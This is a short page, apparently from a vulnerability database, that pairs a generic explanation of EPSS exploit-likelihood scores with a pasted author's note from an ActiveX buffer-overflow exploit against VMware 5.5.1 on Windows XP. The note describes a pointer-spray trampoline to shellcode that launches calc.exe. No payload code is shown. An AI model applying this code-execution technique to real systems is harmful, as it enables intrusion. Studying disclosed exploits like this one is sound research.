EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Since this is a local only for ActiveX component, it requires being emailed or distribution via some
p2p file share network or p2p chat networks. Pretty useless :)

This will exploit overflow and execute calc.exe on WinXP Pro SP2<br>
(fully patched) against VMWare 5.5.1 Initialize ActiveX member.<br>
</h3>
I have only found a bad solution to this bug. Due to the fact that<br>
my controlling assembler is a call dword ptr[reg] I need to point<br>
to a location I control, fine. However my payload is random pretty<br>
much every run. Therefor I fill half a HUGE buffer with the address<br>
(pointer) to my evil buffer, which them trampolines me to shellcode<br>
<br>
call ptr [reg]<br>
[reg] -> 0xtrampoline<br>
0xtrampoline -> shellcode<br>
